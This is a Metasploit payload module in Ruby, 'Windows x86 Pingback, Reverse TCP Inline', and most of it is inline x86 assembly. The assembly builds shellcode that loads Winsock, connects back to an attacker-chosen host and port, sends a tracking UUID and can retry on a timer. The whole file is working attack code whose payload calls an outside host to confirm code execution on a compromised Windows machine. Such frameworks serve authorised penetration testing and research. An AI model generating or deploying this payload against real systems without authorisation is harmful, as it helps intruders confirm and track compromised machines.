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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 307
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  include Msf::Payload::Windows
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  include Msf::Payload::Single
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  include Msf::Payload::Pingback
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  include Msf::Payload::Windows::BlockApi
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  include Msf::Payload::Pingback::Options
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  include Msf::Payload::Windows::Exitfunk
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
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        'Description' => 'Connect back to attacker and report UUID (Windows x86)',
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        'Author' => [ 'bwatters-r7' ],
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        'License' => MSF_LICENSE,
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::Pingback
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      )
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    )
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  end
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  def required_space
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    # Start with our cached default generated size
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    space = cached_size
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    # EXITFUNK 'seh' is the worst case, that adds 15 bytes
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    space += 15
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    space
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  end
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  def generate(_opts = {})
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    encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
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    encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
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    retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
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    pingback_count = datastore['PingbackRetries']
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    pingback_sleep = datastore['PingbackSleep']
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    self.pingback_uuid ||= generate_pingback_uuid
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    uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
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    conf = { exitfunk: datastore['EXITFUNC'] }
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    asm = %^
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        cld                    ; Clear the direction flag.
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        call start             ; Call start, this pushes the address of 'api_call' onto the stack.
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        #{asm_block_api}
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        start:
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          pop ebp
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        ; Input: EBP must be the address of 'api_call'.
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        ; Output: EDI will be the socket for the connection to the server
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        ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
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        reverse_tcp:
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          push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
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          push 'ws2_'             ; ...
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          push esp                ; Push a pointer to the "ws2_32" string on the stack.
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          push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
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          mov eax, ebp
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          call eax                ; LoadLibraryA( "ws2_32" )
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          mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
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          sub esp, eax            ; alloc some space for the WSAData structure
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          push esp                ; push a pointer to this struct
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          push eax                ; push the wVersionRequested parameter
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          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
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          call ebp                ; WSAStartup( 0x0190, &WSAData );
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        set_address:
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          push #{pingback_count}     ; retry counter
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          push #{retry_count}     ; retry counter
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          push #{encoded_host}    ; host in little-endian format
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          push #{encoded_port}    ; family AF_INET and port number
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          mov esi, esp            ; save pointer to sockaddr struct
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        create_socket:
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          push eax                ; if we succeed, eax will be zero, push zero for the flags param.
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          push eax                ; push null for reserved parameter
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          push eax                ; we do not specify a WSAPROTOCOL_INFO structure
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          push eax                ; we do not specify a protocol
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          inc eax                 ;
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          push eax                ; push SOCK_STREAM
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          inc eax                 ;
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          push eax                ; push AF_INET
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          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
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          call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
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          xchg edi, eax           ; save the socket for later, don't care about the value of eax after this
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        try_connect:
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          push 16                 ; length of the sockaddr struct
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          push esi                ; pointer to the sockaddr struct
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          push edi                ; the socket
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          push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
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          call ebp                ; connect( s, &sockaddr, 16 );
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          test eax,eax            ; non-zero means a failure
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          jz connected
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        handle_connect_failure:
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          ; decrement our attempt count and try again
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          dec dword [esi+8]
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          jnz try_connect
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        failure:
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          call exitfunk
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          ; this  label is required so that reconnect attempts include
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          ; the UUID stuff if required.
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        connected:
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        send_pingback:
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          push 0                 ; flags
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          push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
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          call get_pingback_address  ; put pingback_uuid buffer on the stack
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          db #{uuid_as_db}  ; PINGBACK_UUID
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        get_pingback_address:
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          push edi               ; saved socket
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          push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
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          call ebp               ; call send
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        cleanup_socket:
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          ; clear up the socket
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          push edi                ; socket handle
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          push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
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          call ebp                ; closesocket(socket)
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        ^
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    if pingback_count > 0
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      asm << %^
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          mov eax, [esi+12]
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          test eax, eax               ; pingback counter
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          jz exitfunk
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          dec [esi+12]
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          sleep:
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            push #{pingback_sleep * 1000}
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            push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
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            call ebp                  ;sleep(pingback_sleep * 1000)
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            jmp create_socket
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        ^
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    end
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    asm << %(
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          ; restore the stack back to the connection retry count
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          dec [esi+8]               ; decrement the retry counter
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          jmp exitfunk
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          ; try again
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          jnz create_socket
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          jmp failure
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      )
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    if conf[:exitfunk]
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      asm << asm_exitfunk(conf)
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    end
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    Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
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  end
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end
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